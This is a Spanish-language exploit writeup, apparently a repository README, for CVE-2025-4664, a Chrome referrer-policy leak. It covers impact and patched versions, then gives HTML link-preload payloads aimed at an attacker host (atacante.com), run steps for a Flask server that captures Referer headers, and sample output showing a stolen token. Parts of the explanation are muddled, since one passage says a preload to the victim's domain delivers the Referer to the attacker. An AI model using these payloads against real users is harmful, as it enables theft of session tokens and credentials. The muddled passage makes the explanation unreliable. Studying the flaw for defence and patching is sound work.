## https://sploitus.com/exploit?id=3B912115-C48A-560C-B2A8-93D2B8511810
# 🔒 Vulnerabilidad CVE-2025-4664
La vulnerabilidad CVE-2025-4664 es un fallo de seguridad de alta gravedad identificado en el componente Loader de Google Chrome, presente en versiones anteriores a la 136.0.7103.113. Este problema permite a un atacante remoto filtrar datos de origen cruzado mediante una página HTML especialmente diseñada, lo que puede comprometer información sensible como tokens de sesión o credenciales de autenticación.
---
## ❓ ¿En qué consiste la vulnerabilidad?
El fallo radica en una implementación inadecuada de las políticas de seguridad en el componente Loader de Chrome. Específicamente, Chrome interpreta la directiva `referrer-policy` dentro del encabezado HTTP Link en solicitudes de subrecursos (como imágenes o scripts), incluso cuando otros navegadores no lo hacen. Un atacante puede aprovechar esto configurando una política menos restrictiva, como `unsafe-url`, lo que provoca que Chrome filtre URLs completas, incluyendo parámetros sensibles, a dominios controlados por el atacante.
---
## ⚠️ Impacto y explotación activa
Esta vulnerabilidad ha sido explotada activamente en entornos reales, lo que llevó a la Agencia de Ciberseguridad y Seguridad de Infraestructura de EE.UU. (CISA) a incluirla en su Catálogo de Vulnerabilidades Conocidas y Explotadas (KEV). CISA ha establecido el 5 de junio de 2025 como fecha límite para que las agencias federales apliquen las correcciones correspondientes.
---
## 🛡️ Mitigación y recomendaciones
Google ha lanzado actualizaciones para corregir esta vulnerabilidad en las siguientes versiones:
- 🖥️ Windows y Mac: 136.0.7103.113/.114
- 🐧 Linux: 136.0.7103.113
Se recomienda encarecidamente a todos los usuarios actualizar su navegador Chrome a la versión más reciente disponible. Para verificar y aplicar la actualización:
1. 🔍 Abre Chrome y haz clic en el menú de tres puntos en la esquina superior derecha.
2. ⚙️ Selecciona "Ayuda" y luego "Información de Google Chrome".
3. ⬇️ Chrome buscará actualizaciones automáticamente y las instalará si están disponibles.
4. 🔄 Después de la actualización, reinicia el navegador para aplicar los cambios.
Además, usuarios de navegadores basados en Chromium, como Microsoft Edge, Brave, Opera y Vivaldi, deben estar atentos a las actualizaciones correspondientes, ya que podrían verse afectados por esta vulnerabilidad.
Mantener el navegador actualizado es esencial para protegerse contra amenazas de seguridad activas y salvaguardar la información personal.
---
# 🕵️♂️ ¿Cómo se explota?
La vulnerabilidad **CVE-2025-4664** se explota manipulando la forma en que Google Chrome maneja la política de referencia (`referrer-policy`) al cargar subrecursos (como imágenes, scripts, etc.) desde enlaces HTML.
---
## ⚙️ Cómo se explota técnicamente:
1. 🌐 **Creación de un sitio malicioso:**
El atacante crea un sitio web que incluye un enlace HTML como este en su cabecera HTTP:
```bash
<link rel="preload" as="image" href="https://victima.com/imagen.jpg" referrerpolicy="unsafe-url">
```
2. 🔧 Manipulación de referrer-policy:
En la mayoría de los navegadores, este referrerpolicy en la etiqueta <link> no se aplica para el recurso cargado. Sin embargo, Chrome sí lo aplica, lo que es el núcleo del problema.
3. 📤 Filtrado del Referer:
Cuando el navegador de la víctima (Chrome) carga el recurso desde victima.com, envía toda la URL del sitio de origen como cabecera Referer, lo que puede incluir:
- Tokens de sesión (?token=ABC123)
- Parámetros sensibles (?user=admin&password=1234)
- URLs privadas
4. 🎯 Recepción en el servidor del atacante:
El atacante puede colocar como destino del recurso una URL bajo su control, por ejemplo:
```bash
<link rel="preload" as="image" href="https://atacante.com/captura.jpg" referrerpolicy="unsafe-url">
```
Cuando la víctima accede a este recurso, Chrome envía su URL completa como Referer al servidor del atacante.
5. 🕵️ Robo de información:
El servidor del atacante registra los headers HTTP, y obtiene el contenido completo de la URL de la víctima. Esto puede incluir datos confidenciales, tokens de acceso o incluso URLs de APIs internas.
## ✔️ Condiciones necesarias para que funcione:
- 👤 La víctima usa Google Chrome sin parchar.
- 🔑 El sitio de la víctima incluye información sensible en la URL (como tokens de autenticación).
- 🎣 El atacante logra que el navegador de la víctima cargue un recurso desde su dominio (por ejemplo, mediante phishing, un anuncio malicioso, o una redireccionamiento).
## 🧪 Ejemplo práctico del ataque (simplificado):
1- El atacante envía a la víctima un enlace a:
```bash
https://atacante.com/pagina-maliciosa.html
```
2. En esa página se carga algo como:
```bash
<link rel="preload" as="image" href="https://victima.com/perfil?token=ABC123" referrerpolicy="unsafe-url">
```
3. El navegador Chrome envía:
```bash
Referer: https://victima.com/perfil?token=ABC123
```
al dominio atacante, exponiendo el token.

# Archivos del proyecto
### 🖥️ `index.html` — Archivo víctima
Este archivo simula la víctima del ataque, es una demo en HTML simplificada para mostrar cómo se puede explotar la vulnerabilidad CVE-2025-4664 usando una etiqueta **<link>** maliciosa:
- Representa la interfaz vulnerable.
- Se usa para demostrar cómo funciona la vulnerabilidad en un entorno controlado.
- Contiene elementos que el atacante puede explotar según CVE-2025-4664.
```bash
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<title>Demo CVE-2025-4664</title>
<!-- Este recurso apunta a un sitio de la víctima con información sensible en la URL -->
<link rel="preload" as="image"
href="https://victima.com/perfil?token=ABC123"
referrerpolicy="unsafe-url">
</head>
<body>
<h1>Demostración de la vulnerabilidad CVE-2025-4664</h1>
<p>Si estás usando una versión vulnerable de Chrome, el navegador enviará el <strong>Referer completo</strong> a la URL de arriba.</p>
</body>
</html>
```
#### Qué hace este código:
- La etiqueta <link> está configurada para precargar una imagen desde victima.com con un token en la URL.
- Con referrerpolicy="unsafe-url", Chrome enviará toda la URL de la página actual como Referer al dominio víctima.
- Un atacante puede capturar esa URL completa en sus logs si la imagen apunta a su propio servidor.
### 🐍 `servidor_atacante.py` — Archivo atacante
Con este script es posible automatizar el ataque para capturar los Referer usando un pequeño servidor en Python. Aquí tienes un ejemplo utilizando Flask para simular el servidor del atacante que recibe los datos:
- Simula el ataque contra la víctima representada por `index.html`.
- Implementa las técnicas descritas en la vulnerabilidad.
- Se utiliza para probar y validar la mitigación implementada.
#### Cómo usarlo:
1. Guarda ese código como servidor_atacante.py.
2. Instala Flask si no lo tienes:
```bash
pip install flask
```
3. Ejecuta el servidor:
```bash
python servidor_atacante.py
```
4. Luego modifica la demo HTML así:
```bash
<link rel="preload" as="image"
href="http://<tu_IP>:8080/captura.jpg"
referrerpolicy="unsafe-url">
```
Reemplaza <tu_IP> por la IP pública o local del servidor que ejecuta el script.
---
# 💪 Cómo usar el proyecto
### 🛠️ 1. Ejecutar el servidor Flask
1. Abre una terminal (PowerShell o CMD).
2. Navega a la carpeta del archivo:
```bash
cd "C:\Users\Sebas\Desktop\servidor_atacante"
```
3. Ejecuta Flask:
```bash
python servidor_atacante.py
```
4. Verás algo como:
```bash
* Running on http://127.0.0.1:8080
* Running on http://192.168.1.35:8080
```
### 🌐 2. Crear y abrir index.html (simulando víctima)
En esa misma carpeta (C:\Users\Sebas\Desktop\servidor_atacante), crea un archivo llamado index.html con este contenido:
```bash
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<title>Demo CVE-2025-4664</title>
<!-- Simula el ataque -->
<link rel="preload" as="image"
href="http://192.168.1.35:8080/captura.jpg"
referrerpolicy="unsafe-url">
</head>
<body>
<h1>Simulación CVE-2025-4664</h1>
<p>Este HTML intenta filtrar la URL completa (incluyendo el token) al atacante.</p>
</body>
</html>
```
✅ **Importante:** Asegúrate de que la IP (192.168.1.35) coincida con la que muestra Flask como IP local. Si es diferente, cámbiala en el HTML.
### 🚀 3. Abrir index.html con parámetro sensible
1. Abre Chrome.
2. En la barra de direcciones, escribe:
```bash
file:///C:/[Carpeta destino]/servidor_atacante/index.html?token=ABC123
```
3. Presiona Enter.
4. 📥 Ver el resultado en el servidor
En la consola de Flask deberías ver algo como:
```bash
[+] Referer recibido: file:///C:/[Carpeta destino]/servidor_atacante/index.html?token=ABC123
```
**[Carpeta destino]**: Modificar este parametro por donde tengamos guardado el archivo.
**🎯 ¡Eso significa que el navegador envió el Referer completo al atacante!**
---
## 🧑🏫 Autor
Explicación elaborada por [Sebastian Peinador](https://www.linkedin.com/in/sebastian-j-peinador/) para propósitos didácticos y de investigación en ciberseguridad ofensiva.
---
## 📄 Licencia
Este material se distribuye bajo la licencia [MIT](LICENSE).
---
> Si te resulta útil, ¡no olvides darle ⭐ al repo o compartirlo!